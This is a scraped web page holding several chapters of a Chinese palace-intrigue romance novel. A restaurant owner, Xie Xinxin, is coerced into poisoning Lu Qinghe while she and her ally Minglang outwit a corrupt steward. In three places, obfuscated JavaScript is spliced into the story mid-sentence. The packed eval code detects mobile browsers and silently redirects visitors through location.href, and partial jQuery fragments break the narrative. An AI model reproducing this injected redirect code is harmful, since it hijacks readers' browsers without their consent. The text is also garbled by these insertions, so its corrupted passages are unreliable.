出衙门一看,陆清和的马车却不见了。 她心里登时一冷,心道此人倒是一贯骄矜,被自己缠了两句,也不求他真的说喜欢自己,竟还不告而别。 这是什么意思? 躲着她? 这么看来,他的性格与初见时也没什么分别,仍是这样高高在上,静言令色。认识这么久了,就没见过几回他真心诚意的时候。 她肚子里怀着气,根本不去想人家是去哪里又去做什么事,一厢情愿地往最坏的结果去猜,乃至已经下定决心,哪怕陆清和最后忽然赶着车出现了,说是马车拦了路挪了地,她也不要理睬他。 实际上这又有什么道理呢? 可她现下最不想讲道理。 谢辛辛不太明白自己的心情,甚至抵触去深究,眼看太阳没那么烈了,便自顾自地走。 绕过一棵大银杏树,街口处几抹残阳荡了下来,拌着小摊贩煮的汤圆子香味,扑面而来的是人间烟火气。 她鼻子动了动,觉得新奇。小贩就张罗她:“白果圆子汤,姑娘来一碗?” “那来一碗。”她被吊起食欲,兴冲冲道,“从前不见这儿有圆子汤卖呀?” 小贩手上就拿了一个小碗,奇怪地看了她一眼,“怎么会呢?咱在这支摊儿也有两年多啦。” 她一想,原来是自己自接手玉春楼起,在饭点时就没空出来逛街了,只得笑笑:“噢,许是我不常来这。” “嘿,那您今儿来巧了不是。” 小贩将碗大的勺子伸进深深的铁锅里,窑了满满一碗升着白气的圆子汤,又从身边的木桶里舀了一小杯冰糖水,见她好奇,解释道: “这儿附近除了衙门、书院等,没什么闲散铺子,经过的客人大多有事要办,赶着来回。这圆子汤是现煮的,未免烫口,我加一杯放凉了的糖水,容易入口些,不耽误客人的正事。” 谢辛辛点头赞叹,拈吉利话说:“好会做生意,您发财是早晚的事。” 小贩将圆子汤递给她,乐道:“摆摊卖汤,称不上什么生意,挣得也就勉强够吃饭。就说这支摊的地界,也不是白来的,挣了二两钱,四处打点就要花一两半。” “打点?”谢辛辛有些没听懂,“摆摊卖汤还要向谁打点?这条路是谁家自己修的吗?” 小贩见她生得可爱,忍不住卖弄起来,向她展示自己所通的人情世故:“姑娘你不出来营生,不知道也是应该的。虽说这条路人人能走,但莲州这儿谁做生意,不得向那位出点血?” 她嚼着圆子问:“那位又是哪位呀?” 小贩哎唷了一声,“就宣王府的呀……” “啊?” 谢辛辛被一颗圆子哽住,使劲咽了下去,“你挣这点钱,还得打点王爷?” “不是王爷,而是那位世子爷的手下。自打那王府上是世子爷管事以来,不管小摊小贩还是大户家的茶楼酒馆,但凡挣钱的营生,都得向王府上贡。不然有的是办法找你的麻烦。” 怪不得自己小时候从没听说爹娘做生意给宣王府上过什么贡品。 这赵都云就这么缺钱么,手都伸到小贩头上来了? 她将碗一放,气道:“照你这么说,那赵世子岂不是像个土皇帝一般。” 小贩立时嘘了一声,让她说话避讳些,然后自己叹着,“若是我也能开个像玉春楼那样的酒楼就好了,不用那么大,再小一些,好歹攒些钱,让我爹娘享享福。” 谢辛辛本想听他扯扯闲篇,结果聊到了玉春楼头上,登时有些愧疚,红了脸,付完银子逃也似地离去了。 边走边心说,玉春楼在她手上,如今也像一个烂摊子一般,不仅背地里替赵都云收了不少钱,如今还在被李管事等人觊觎着,连自家厨娘都不敢接回来。 更何况,此番出了一趟远门,见多了民生,再谈起玉春楼为宣王府洗钱的营生、收的脏钱来,她也不再底气十足。 这玉春楼替宣王府做事的来由,除了赵都云曾在她谢府倾覆时帮了她一把,于她有恩、顺势而为外,她也曾想着,这些钱她若不经手,要不是走了别的路子继续送给赵都云,要不是仍然落在这帮黑商贪官的手里,肥水又何必流了外人的田。 现如今再一想,这些钱又不是平白出现在黑商贪官的家里的。 是从哪里来的呢? 除开从摆摊卖圆子汤的身上来,也不知还要从多少同样汲汲求生的普通人身上来呢。 陆清和不是想要玉春楼的账本么,正好,索性将账本给了他之后,自己便不干这脏活了。 若是可以,将小绿茱和王娘子接来,她们一同再办个崭新的、干干净净的玉春楼,岂不美哉? 她一乐,心中顿时幻想无限,姑且将这一大堆糟心的事撇在脑后,一蹦一跳地走起来。 一不留神就撞上一个人。 “对不起对不起。”她扶着脑袋道歉,“我不小心……” 被撞到的人却不说话,听她说完,才浅浅笑了声:“无妨。” 一听这个熟悉的声音,谢辛辛心便一沉。 谢辛辛:“你不是走了吗?” 陆清和很是无辜:“未曾。我为何走?” 谢辛辛:“……” 风起,银杏叶忽然簌簌落了谢辛辛满头。 谢辛辛晃了晃脑袋,才抬起脸来看他,正巧看见他想要替自己拂去落叶的手。 她啪地一下打落他的手,“那你怎么不在衙门门口等我。” 连她自己也未发现,她的语气中半是委屈,半是娇蛮,总之,就不是她想表现出的冷心肠。 陆清和揉了揉被她打红的手背,从袖子里拿出透着亮油的油纸包来,低声道:“……桂花糕。” 谢辛辛:“嗯?” 陆清和的发丝被风吹乱了几分,他也不去理,只是看着她,笃定道:“你喜欢桂花,在邺州的时候。” 谢辛辛:“……给我买的?” 见她有些松动,陆清和笑了,“不是,给小狗吃的。” 谢辛辛有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12903226|130187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些错乱了。 他喜欢自己?不喜欢自己?那他方才心平气和地说什么“不嫁也无妨”,“什么都没说”,好似浑不在乎的模样,如今又是为哪般? 打住,且打住。 既然他什么都没说,自己何必自作多情。 她甩手要走,“你这是为什么,特地消遣我?” 陆清和尚未明白她的意思,下意识思考了一会儿,谢辛辛已经走出了两步。 他一怔,刚要抬腿去追,谢辛辛又自己折了回来,夺过他手上的油纸包,“拿来。” “马车呢?” “我们约定如旧,我去把账本取来,你要娶……你要带我去云京,进北瑛王府看看。” 陆清和未等她说完,先是一笑,接着笑容便慢慢淡了下去。 “你看了卷宗。……是怎么说的?” 约定如旧,就是说,果然还是北瑛王府吗。 谢辛辛吸了吸鼻子:“没怎么说,只看到文书提及北瑛王府当日有遣来使,但言辞含糊,不知可不可信。” 他便没再说话。 若是父兄真是她的仇人呢?自己难道要让她嫁入仇家吗? 他低下眼睛看她,心中复杂,有意忽略了她没说完的娶字,沉默了片刻。 他忽然发现了问题,“马车,马车不是就停在原地么?我一个人出来买桂花糕,阿凤看车,没跟着我。” “啊?”谢辛辛道,“衙门附近没有马车,我也没见到阿凤。他没跟你说什么吗?” 两人对视了一眼,谢辛辛从他的眼里读到“没有”两个字。 可阿凤一向唯陆清和是从,绝不是会乱跑的孩子。 陆清和想了想,只说罢了,“阿凤有武功傍身,应该不会出什么大事。也许他发现了什么情况,跟上去看了。” “是吗?”谢辛辛仍觉得不妥,没来由地觉得一阵寒意,四下张望,“不知怎的,我忽然觉得好像有人偷偷盯着我们似的。” 陆清和忽然拉上她的手腕,“他解决了事情自会自己回玉春楼的,账本的事情先不急,我们回酒楼等他便是。” 谢辛辛一个措不及防,就被他拽着朝酒楼的方向走出去了。 又是手腕? 问他喜不喜欢,他在马车里敷衍自己。现下又是买糕点又是拉手腕,能有什么好心思? 谢辛辛忽然起了坏心,抬腕一转,反将他的手握在了手心里。 她只觉得陆清和的小臂倏然一紧,僵住了。 谢辛辛笑道:“遮遮掩掩的做什么,想牵就大大方方的。” 他急着分辩,“谁想……” 却因紧张,手指愈发用力,紧紧地回握着她。 她指节都被握得疼了,皱了皱眉,却还是咧开一个笑容。 “……就当我最后一次戏弄你。” 陆清和:“什么?” 谢辛辛抓着他的手,借力往后一扯,生生将他拽得与自己脸贴着脸。 鼻尖的呼吸很近,他身上的松香味与她口脂的香气绕在一起,酿成细密的雾。 陆清和一时怔忪,本该是沉静的眼睛此时慌乱得似只受惊的鹿,无措地左右看了看,最后望着她的鼻尖。 “没什么。”谢辛辛说,“我是想说,今日晚膳我来下厨,你尝尝我的手艺。” 她抬起脸,眼睛亮亮的,一派少女的纯真。 如果不是拿着赵都云给她的毒药的话。 51.只是黑 她一路紧扣着陆清和的手,将他拉扯回酒楼。 陆清和不知该作何回应,只能僵直着被她拖行一路,像拖一块晒干了的空心木头。 “不过要晚一些,”谢辛辛自顾自说,“玉春楼的晚膳时候最忙了,我好久没回来,得回去看顾着些,不知那些伙计们有没有惫懒了。” “不……” 陆清和声音轻得散在风里。 谢辛辛:“什么?” 陆清和:“……不用麻烦,你去忙便是。” “推辞什么?”谢辛辛将抓住他的手抬起来,像炫耀战利品一般,在二人眼前晃了晃。 她笑道:“我可没有问你的意见。” 说着也不顾他人目光,二人执手踏进了玉春楼的大门。 不等陆清和反应过来,谢辛辛先面对着大堂食客,高声喊了一句: “诸位——” 她声色本就清亮,再加上酒楼常客对她多有熟悉,一听她的声音,鼎沸人声渐渐静了下来,众人的注意力都集中在了她身上。 相熟的客人一眼认出她来,“谢小掌柜回来啦!” “这个月没看见你,酒也喝得不够味儿。” 谢辛辛横他一眼,笑骂道:“不够味儿也没见您多喝两盅呢?别跟我扯皮,今儿有大事和你们宣布。” 被她这么一挑起噱头,食客们顿时七嘴八张,又见她和一俊美郎君互相牵着手,瞬间嘴里说什么的都有。 “小掌柜,这趟出门莫不是带了个老板娘回来?” 陆清和一滞。 老板娘,什么老板娘? 莫非是说自己? 说话那人正眯眼上下打量陆清和,“老板娘眉清目秀,我看和谢小掌柜挺般配……” 陆清和额角跳了跳,才被盯得有些不自在,又被路人这话说得生不起气来。 谢辛辛也不否认,只向大家甜甜一笑,“说什么呢?我是说,今儿我做主,七日内,我玉春楼的酒钱都打八折!” 大堂顿时炸了锅,惹得二楼厢房内都有人出来看热闹,朝楼下不住吹着口哨。众人沸腾:“还说不是?若不是自个儿有喜事,这辈子还能从谢小掌柜口袋里掏出银子来?说吧,被谢小掌柜相中的是什么人呢?” “他呀,”谢辛辛揽过陆清和的臂膊,随口道,“在云京当差呢,负责大案子的。大理寺知不知道?赶明儿我玉春楼开到云京去了,你们可得来捧场。” 听到大理寺当差,陆清和闭上眼睛,从后面拽了拽她。谢辛辛只当他脸皮薄,笑嘻嘻地与客人客套两句就要回后院休息。 依赵都云所言,今日她给陆清和的饭食里下了毒药,还会有宣王府的暗卫来负责收尾。她如今不知暗卫是谁,需得大张旗鼓将自己和陆清和摆到明面上,只盼暗卫或许会自己现身。 谁成想有个声音突兀地传出来:“谁说的酒水八折?问过我没有?” 人们便往出声的地方看去,就见李管事胖头胖脑的,从后厨间钻了出来,“我当是谁,原来是谢掌柜。” 李管事眼里冒精光,却还努力堆着笑容,包子般的脸挤出沟沟壑壑:“酒水八折,我还有什么赚头?我看谢小掌柜去邺州游山玩水回来,连盘账的本事也不会了,还是歇着去吧。” 堂下立时嘘声一片。 “李掌柜的,你太不厚道。” “就是啊,大好的日子,谢掌柜一言既出,你在这掺和什么?” “自打李掌柜来了之后,这酒菜总缺斤少两不说,酒钱也总是多算。若不是知道谢小掌柜还有回来的这一日,我早不来了!” 李管事脸上青一阵白一阵,心想好不识好歹的客人,这玉春楼本就是为世子殿下洗钱的手衣,世子那份银子他不敢动,只能在这帮普通食客身上来捞点油水。谢辛辛一回来就给打了八折,那自己想赚银子还从哪克扣? 想着就上了火,向多嘴的那一桌翻着白眼:“去,不打折,不爱吃别吃。” “嘿?你这人……” 谢辛辛把陆清和往院子里一推,上前打断他们:“吵什么吵什么!别吵着我家这位的清净。” 陆清和:“……” 感觉怪怪的,但决定安然受之。 李管事便道:“谢小掌柜,我可是跟你一头的,你掂量掂量。” 言下之意,自然是他们二人都是赵世子的人手,同一个世子手里做事,低头不见抬头见的,胳膊肘别往外拐。 谢辛辛会意一笑。 “李管事说的是啊。”谢辛辛转向那位和他呛声的客人,“退一万步讲,难道你就没有错吗?” 客人愕然道:“我有何错?你酒楼当家的说了给我们打折,他凭什么?” 李管事宛若得了谢辛辛的默许,得意万分,此刻乜斜着眼睛,哼出一个鼻音。 谢辛辛正色道:“错就错在……” “……就错在他李贵算个什么东西,你们叫他李掌柜?他也配?” 李管事:“说得好!……嗯?啊?你说什么?” 谢辛辛挽了挽袖子,又不知从哪熟门熟路地抽出一个绛色围裙,在腰间一扎,霎时就有了掌柜模样,仿佛从未离开过玉春楼似的。 她索性手指点着李管事的鼻子:“狗仗人势的东西,得点便宜就想学主人形,前脚还在我这自称奴才,如今都敢自称什么‘李掌柜’了。怎知家畜再怎么叫唤也还是家畜。你们管他说什么,我说酒钱八折就是八折,谁若多出一个铜子儿,便是看不起我谢辛辛。” “我谢家经商多年,虽一朝倾覆,但谢家家训我一直铭记于心:商贾之道,在广交朋友,大开日中市,广招天下财。而非逐什一之利,损人利己。敢问李管事,你有盘账的本事,我问问你,接手玉春楼这几日,你中饱私囊了多少银子?” 李管事气得大骂:“是你亲手将玉春楼的账本交到我手上,是你说这玉春楼的营生是‘东风’,让我乘上……” 谢辛辛:“大家听听,他说得倒像是我教他贪图小利的。” “你!……你!”李管事气急,百口莫辩。 谢辛辛把账本给他的时候,话里话外都暗示着此处有油水可捞,可却从未明说,如今倒让他哑口无言。 众人只是听得痛快,大叫:“好!” 不止食客们觉得出了一口气,门口甚至也传来几声少年意气的叫好声,谢辛辛抬眼望去,却是几个面生的书生。 书生们年轻脸嫩,压根消费不起玉春楼的东西,只是路过见到此情此景,见这位掌柜仗义执言,忍不住为谢辛辛叫好。 冷不防成了众人目光的中心,书生们慌忙朝大家拱了拱手,跑开了。倒惹得食客们一笑。 谢辛辛没将这些年轻人放在心上,只看了李管事一眼,悠悠道:“你还是顾好你自己吧。我回来了,你也不必继续在玉春楼待着了,将账本还了我,自个儿找世子殿下复命便是。” “你倒是会做美梦。”李管事皮笑肉不笑,以为总算找到能拿捏她之处,“我偏不给,你能怎么着。我留不下玉春楼,还留不下这几日玉春楼赚的银子么?” 未想谢辛辛嫣然道:“不给就不给吧。那点银子我也不稀罕,你在世子殿下那儿说的过去就行。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928195|130187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >李管事一懵:“此话当真?你不稀罕,我可就真收下了?” 谢辛辛:“当真。” 李管事挠了挠头:“……那,多谢谢小掌柜?” 谢辛辛一笑,没再理他,拉上角落看戏的陆清和就走。 再跑慢点可能就要笑出声来了。 …… 玉春楼的大厨房是主楼后面单独的一间厢屋,开业时厨傅们多在大厨房忙活。小厨房则是院子后面紧挨着住处的一间小房,专供食宿在酒楼内伙计,比如茗琅刘宛等自己开小灶。 谢辛辛此时就在小厨房里,对着一箩筐的米面瓜叶沉思。 陆清和倚在门口,笑而不语地看着她。 谢辛辛抬头对上他的眼睛:“看什么呢。” 陆清和笑道:“早就知道你对李管事有自己的安排,还没问过你是怎么想的。” 谢辛辛对他余气未消,只说了四个字“不告诉你”,就低头摘起菜来。 陆清和也不恼,笑着说:“他刚才还谢谢你。” 想到李管事那个样子,谢辛辛才微微笑了: “将死之人,其言也善罢了。” “还不知赵都云怎么处置他。真希望世间真有炼狱,我若知道他下了地狱能被火煎被油烤,再想到胡夫人,我心中才能安心些。” “自然,”她顿了顿,失了笑容,“若真有无间地狱,害了我谢家的人也应在其中。” 空气一时静默。 她不知道陆清和想了些什么,过了好一会儿,耳边突然响起洗涮的声音。 是陆清和在旁边替她洗菜。 谢辛辛手上动作停了一瞬,知道他是不懂怎么安慰自己,只道:“你回屋去等着就行了,说了让你尝尝我的手艺,就不要你帮忙。” 陆清和问:“为何突然有这个念头?” 谢辛辛:“没有为什么,难不成要我说因为我要给你下毒?” 确实如此。 陆清和接过她手里的小藤篮,“那我也可以帮你。” 谢辛辛:“啊?” 陆清和:“我帮你烧火。” 说着便拿着一篮子黑漆漆的东西,就要给灶下添炭。 “烧什么火……”谢辛辛拦着他的手,“我给你下毒,你帮我烧火?你莫不是缺心眼吧!” “不碍事。”陆清和不顾她的阻拦,执意要添炭。 谢辛辛高声道:“别动了!” 他被谢辛辛一喝,转过头来认真地看着她:“为何生气?” 从前所有时间的陆清和,都没有近两日的他令谢辛辛困惑。 “都说了让你别帮忙,你不听,倒问我为何生气。”她摸了摸陆清和的脑门,“你这两天怎么了,好奇怪。我还以为你喜欢我……” 他张了张口,想到她曾言提及北瑛王府来使的卷宗,最终没有说心里的那几个字。 百转千回,他只是闷闷地:“我是说今日,你好像一直生气。” “消消气。” 说这话的时候,他素白的袖子染上了灶上的黑灰。 陆清和将袖子往身后藏了藏。 只觉得自己心上,好像也有一处蒙上了尘埃,让他无法清明。 这是莲州的尘埃,是莲州玉春楼的掌柜衣袖挥洒之间,在一颗孤高之心上落下的尘埃,微小几粒,如千斤重,压得他整个人从白雪皑皑的十常山顶坠入人间。 谢辛辛失语片刻,将他藏着的袖子拎了出来,好生擦了擦,无奈道: “可你拿的这一篮是菱角。” “它只是长得黑,不是木炭。” 52.红云落 到头来,陆清和凭借自己把菱角认成木炭、莲藕认成番薯的实力,被谢辛辛赶出了厨房。 “五谷不分,这还想当玉春楼的老板娘?” 把他关到门外前,谢辛辛没忍住揶揄他。 陆清和默默回房,心想平时确实忽视了这方面的知识,下次回王府,得找个机会向四姨娘多请教。 不,来不及了,下次回王府或就是要带着谢辛辛回去。不如等阿凤回来先向阿凤学习一下军中伙食做法。 锁上门后,谢辛辛拿出赵都云给的药粉,轻轻叹了口气。 “还不现身吗……”谢辛辛自言自语道,“你若再不现身,我怎么确定赵都云的暗探到场没有?怎么确定事后收场能收得干净?” “若我下了药,没人收拾得了他,我岂不平白在他面前露了馅?” 角落的榉木高橱似乎被推动了一下,动静微小,只有上头堆放的圆底木瓢微微一动。 谢辛辛了然,冷冷道:“出来。” “你藏在这里,不就是为了确认我有没有下药么?” 一道黑影便从橱柜后面探出小半个身子,持剑背朝着她,一副只愿透露出“有人在”,但不愿暴露自己身份的意思。 谢辛辛仔细看了他两眼,认不太出,抱起手臂埋怨:“都是熟人了,藏那么严实做什么?我还认不出你来?” 持剑人:“……” 片刻后,那人缓缓挪步而出,转过来拱了拱手,“掌柜的,自打进玉春楼以来,我一直尽力不引人耳目,却未想到你一眼就能认出我。” 谢辛辛这才看出是玉春楼的去年收留的伙计马南春,据他所说,他父母因病暴死,他身无长物,只愿在玉春楼当个洒扫杂役。 此后,马南春一直踏实肯干,从不多嘴一句。以至于楼中伙计知道有个新来的总是闷头做事,许多人到如今还不知道他姓甚名谁。 谢辛辛竟不知他也是宣王府的人。 她忽然想到边青昙那句话。 “……究竟有多少是赵都云的人,你能算出来么”。 一阵冷汗。 她从没感觉这么后悔曾经选择了宣王府过。时至今日,她有一种深刻的感觉,好像赵都云是什么脏东西一般,一旦不小心沾上,他就无孔不入地浸透自己的生活,连玉春楼都被他污染了,甩也甩不脱。 她收拾心绪,朝马南春笑了笑,“你隐藏得很好,只是我了解赵都云。” “玉春楼中,藏着他难见世人的阴暗勾当,多一个人知道,他就多一分危险。既然要在玉春楼里杀人,他就不会用玉春楼外的人。” “而茗琅已经入府,所以我猜,来的人一定也是我玉春楼中的熟面孔。” 马南春惊讶了一瞬,眼中竟然诚心真意地流露出叹服:“原来掌柜的连茗琅的身份都知道。早知掌柜的聪颖,我没什么可说的。” “呵。” 谢辛辛冷笑一声。 “没什么可说的?不说玉春楼了,纵是我谢辛辛,何时薄待过你,何时薄待过玉春楼中的任一人?就说那次你心疾发作,是我去求楼里的常客,范大夫的二徒弟,亲自来给你诊治。” 马南春十分坦荡,道:“自我幼年父母亡故,世子殿下养我多年,受人恩惠,本自当偿还。更何况,掌柜的,我不觉得我有什么对不起你的。我起初到玉春楼,只是世子殿下怀疑茗琅起了二心,让我来监视她罢了。” ……这赵都云未免太多疑。 送来一个茗琅看着自己还不够,再送来一个马南春看着茗琅? 话不投机半句多,她只咬了咬牙关,问他:“是不是只要我下了药,茗琅就会没事?” 马南春点点头:“世子殿下从头至尾,只是想要看到你的忠心罢了。” 谢辛辛没忍住翻了个白眼,忽然想起,“阿凤也是你支开的?你打得过这个小子?” “是。”马南春道,“打不过,但前些时候我发觉他在和一个姓邓的船工通信,我便跟他说这船工在码头被匪徒劫掠,打得快死了,临死前船工拖我请人救命。从这去码头要好些脚程,他纵使赶着车,也要一段时间才能回来。” “……原来如此。” 谢辛辛没想到阿凤竟然是这样不见的,将药粉往炖着菱角小荷粥的汤盅中一撒,“不多说了,来验吧。” 马南春沉默上前,从身上掏出一根银针,在粥汤中轻轻点了一下,针尖便倏然化为黑色。 马南春点点头:“可以了。世子殿下所给的东洋烈药,毒性本就致死。我只是来奉命补几刀,以防意外。只要他喝下这碗粥,应该不会有什么大问题,茗琅也会好好活着的。” 谢辛辛摆摆手:“别说这么多有的没的,你确定我下完了就行。走吧,我送粥去。” “等一下。” 端着汤盅的身形一顿。 马南春犹豫着:“我……我只是想知道,你早知道茗琅是世子殿下安插的人,为何还要为了她的性命接下这种事……” 谢辛辛松了口气,笑着说:“那又如何?” “她不也为了我进了宣王府?” “我是过来人,知道父母双亡是何种滋味,知道曾经她进宣王府,是误以为没有更好的选择。被人利用不是她的错,而是有心利用之人的错。” “既然过去的事我不怪她,如今她愿意为我入府做人质,我更应谢她。你别看似乎人人怜我身世凄惨,但若能一直这样有仇报仇,有恩报恩,我也觉得快意。” 她扭过头来,向着马南春道:“我也劝你一句,过去的错误已不可避免,但往后的路却还是要走。难道要因为过去走了岔路,便要一条道走到黑么?我、茗琅、你,都是一样的。” 马南春摇摇头:“可我不觉得有什么错误……” 话音未落,厨房的门被谢辛辛推开,无限的夕光照射进来。马南春一眯眼,只觉得秋阳好像给谢小掌柜渡上了一层绒绒的光。 她不再多说什么,护着手里这碗小盅,向明亮的天光中走去。 …… 陆清和失踪的消息像一滴水落入莲塘,没有惊起任何波澜。 离奇的是,马南春查了几日,也没查到他身边那个小侍卫的去向。谢辛辛说,阿凤忠心,发现陆清和消失,应该满莲州城的去寻了,让他放心去给赵都云回话,不必多言。 马南春回王府时是一个人,再来玉春楼,却带着另一个。 茗琅。 她与谢辛辛两人相顾无言,当着马南春的面,什么话也没说。 但夜深人静时,她轻轻挽上茗琅的袖口,满眼都是触目惊心的红痕。 茗琅道:“李管事死了。” 谢辛辛手停了下来,发觉自己没有想象中的快慰,而是握着她的手,心疼问:“你先告诉我,这是什么?” “没什么。”茗琅轻描淡写地说,“他疯了,晚上把我当成你。把不敢对你做的,都在我身上施展罢了。真不知道他对你哪来的执念。” 茗琅低声的讲述流入昏黄的夜色里,谢辛辛背着灯,茗琅看不清她的表情。很久之后,才听到谢辛辛慢慢地说: “他也该死。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12985644|130187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茗琅一笑:“是我自愿的。是我要利用他杀了李贵。宣王府的管事我碰不得,只好靠吹枕边风这种下作手段。” 见面前人沉默,茗琅一愣:“怎么哭了?” “掌柜的,因为有你,马南春去向世子回了信,我才能有机会再出府来,你哭什么?” “掌柜的,你是不是内疚,觉得我替你受了苦?别这么想,陆公子来玉春楼的第二日,你见到我去他房间,猜到我是世子殿下派来的人,不仅没有赶走我,反而劝我为自己做打算,问我作为一个人,而不是宣王府的奴,有什么想做的事。” “掌柜的,我对你只有感激。” “若不是你,我一定想不到,我还能当一个人那样活着。” “我说我想成为像你一样的人,你就将玉春楼放权给我。我说我要向害了弟弟的人报仇,你就将李管事骗到玉春楼来,给他一本账目全错的账本。如果没有你,靠我自己,是做不成这么多事的。” 茗琅走到她面前,轻轻地环住她的身体。 她将头埋在茗琅腰间,抽噎了一下,才说:“跟我说说吧,你在王府里是怎么过的。” 茗琅慢慢地捋着谢辛辛的乌发,仿若放下一切般,说着自己是怎么走一步看一步,确定李管事必死无疑的。 “说来也巧,此事不仅是我一个人的手笔……” 谢辛辛在邺州前,与茗琅已然实现商量过阴阳账的事。玉春楼本就有几本阴阳账,其中一本明面上的阳账本,清白无比,拿到官府去也无可指摘,一本则是阴账本,用各种暗号记载替宣王府所谋钱财。 而谢辛辛给李管事的,不是其中任何一本,是她与茗琅熬了几个大夜连夜赶出来的第三本。 这本账,李管事这样不懂行的人看起来,与阴账本没有什么不同,实则巧立名目,偷挪不少金银。李管事又贪婪成性,不仅看不出,甚至还要从中再偷拿一份进自己的腰包,使得这账本破绽百出。 茗琅道:“原本,单在账本上已经摆了他一道,但他李氏是宣王府的家生奴才,我担心赵都云会念旧情,对他只罚不杀。你知道的,除了杀人之外,世子他有一百种磋磨奴才的法子。” “但我没想到,有一日,我见着了一个人,” “那天李贵在玉春楼里正耀武扬威,忽然来了几人对他说,小红跑了,他们抓了她回来,问李贵怎么处置。” 谢辛辛问:“小红?” 茗琅道:“是李贵的身边人。” “若不是李贵大发雷霆,说将她绑去酒楼后院,他要亲自审,我也没机会知道,小红竟是世子赏给他的女侍。” 谢辛辛指甲猛地掐进了肉里。 她早该想到,李管事这样的猖狂,也是狗随主人形。 “我寻机会偷偷去见了小红,与她一拍即合。她说,此事她有办法。” “我也是后来见了一次边青昙,从她口中,才知道小红用的是什么办法。” “小红知道世子和王爷房中不合,她寻了去给王爷送药的差事,闲聊中,称自己是李氏的人。也不知她说了世子什么,世子最忌讳自己的近况走漏给老宣王。没过几日,李氏所有女眷,都不见了。” “大概是死了。” 晚风轻软,吹动窗纸,油灯的火苗晃了一下,谢辛辛没有动。 “那群人,或也是无辜的……”她停了停,便问,“那小红她……” 茗琅:“一同死了。” 茗琅话音是前所未有的温柔,像在说一缕风,一片云,一阵从乌沉沉的黑蒙蒙的愁雾里,迸落的风雨。 53.一双犊 就这么过去了小半个秋,马上就是重阳。天子特地召了北瑛王进宫,预备在寒衣节后一同秋猎。 云京都在传北瑛王府近来和外界走动频繁,不知在找什么人。只是王府的下人嘴严得如军中一般,究竟出了什么事,没人打听出来。 瑛王妃看见王爷去上朝之前,总是瞻望着十常山的山顶,叹出一口浊气。 瑛王妃站在他身侧,安抚着陆佗的后背,“王爷,别担心了。清和这才多久没来信,他也大了,有自己的主意。再者说,清和从小就习惯在府外闯荡了,哪一次失手过?” 陆佗短短的白胡子颤了颤,他梗着脖子:“我何时说过是担心他?我想的是景明。” “朝上事情你有所不知。景明在军中多年,论军功早该授勋。但前几日几个文官接连弹劾孟安等人,邺州市舶司的徐明庚言之凿凿,称孟安不但包庇毁矿罪犯,他多加阻拦,以至于孟安竟在州狱毒害了徐明庚的贴身小厮。” “此言还有莲州的知州等人上奏佐证,想来也是那宣王府那老不死的手笔。” 瑛王妃瞪大眼睛:“你们斗了这许多年,此人手段愈发下作了。” 瑛王妃道:“但他们弹劾孟安,岂不是说明,清和他查的方向是正确的?王爷的猜想没有错,矿山一案,果真与宣王府有关,以至于他们走投无路,方出此下策。” 陆佗嗤笑:“多大点事,小子做到是应该的。” “但我们才和孟安走动多一些,他们就递这种折子,多少让圣上对我忌惮几分。若不然,景明在军中屡屡建功,我早该上书为他请授个什么飞云尉了。” 瑛王妃上前,替陆佗理了理朝服的衣襟,脉脉笑着: “景明他急躁,晾一晾他也好,不碍事的。若是清和的稳妥能分一半给他,我才高兴呢。” “你不明白。”陆佗握住王妃的手,眉头紧得要拧出水来。一个驰骋疆场的男人,将自己的手塞进王妃的手里,眉目便一下子柔和了,嘴边絮叨的话一下子好像说不完。 “正是因为景明急躁,我才急着要为他求个授勋。如今那些劳什子文官个个眼高手低,他们愿意给我一份薄面,却未必看得起景明。景明他在军中时,就多有对文臣清流不敬之语……” “我怕这事再拖下去,景明这个胆大包天的,若是说甚么胡话,做啥子傻事……” 陆佗的话一字一字像小蚊似的绕着王妃的脑袋打转。 王妃用了毕生的力气抽出手,拿绢子笑打他,“好啰嗦——” 陆佗哼了一声,作势板起脸,终还是上朝去了。 朝堂无趣,他北瑛王只会打仗,不会和那些张嘴对仗骈文的酸人打交道,昏昏欲睡之中,屡次听到自己的名字,也多是知道皇帝要与自己秋猎,没话找话的虚伪奉承之辞。 却有一个不熟悉的声音突兀地冒出来: “正因北瑛王于国有大功,更因保重身体。王爷身体康健,方能震慑关外贼人、稳定边疆。在百官共襄国是之时,王爷竟然微露疲态,让我等臣子如何能放心啊?” 陆佗想看看是谁敢触他的霉头,抬眼却见说话的是一个年轻人,除姿态多了一丝邪骨风流外,眉眼飞扬中与陆景明竟然有几分神似。 才起了兴趣,那人就道: “臣斗胆,恳请陛下念王爷往日之功,许以休假,养精蓄锐,此乃社稷之福,万民之幸也。” 陆佗:“大胆!” 何止大胆,简直是狗胆包天! 这不就是说他年纪大了,快不行了吗? 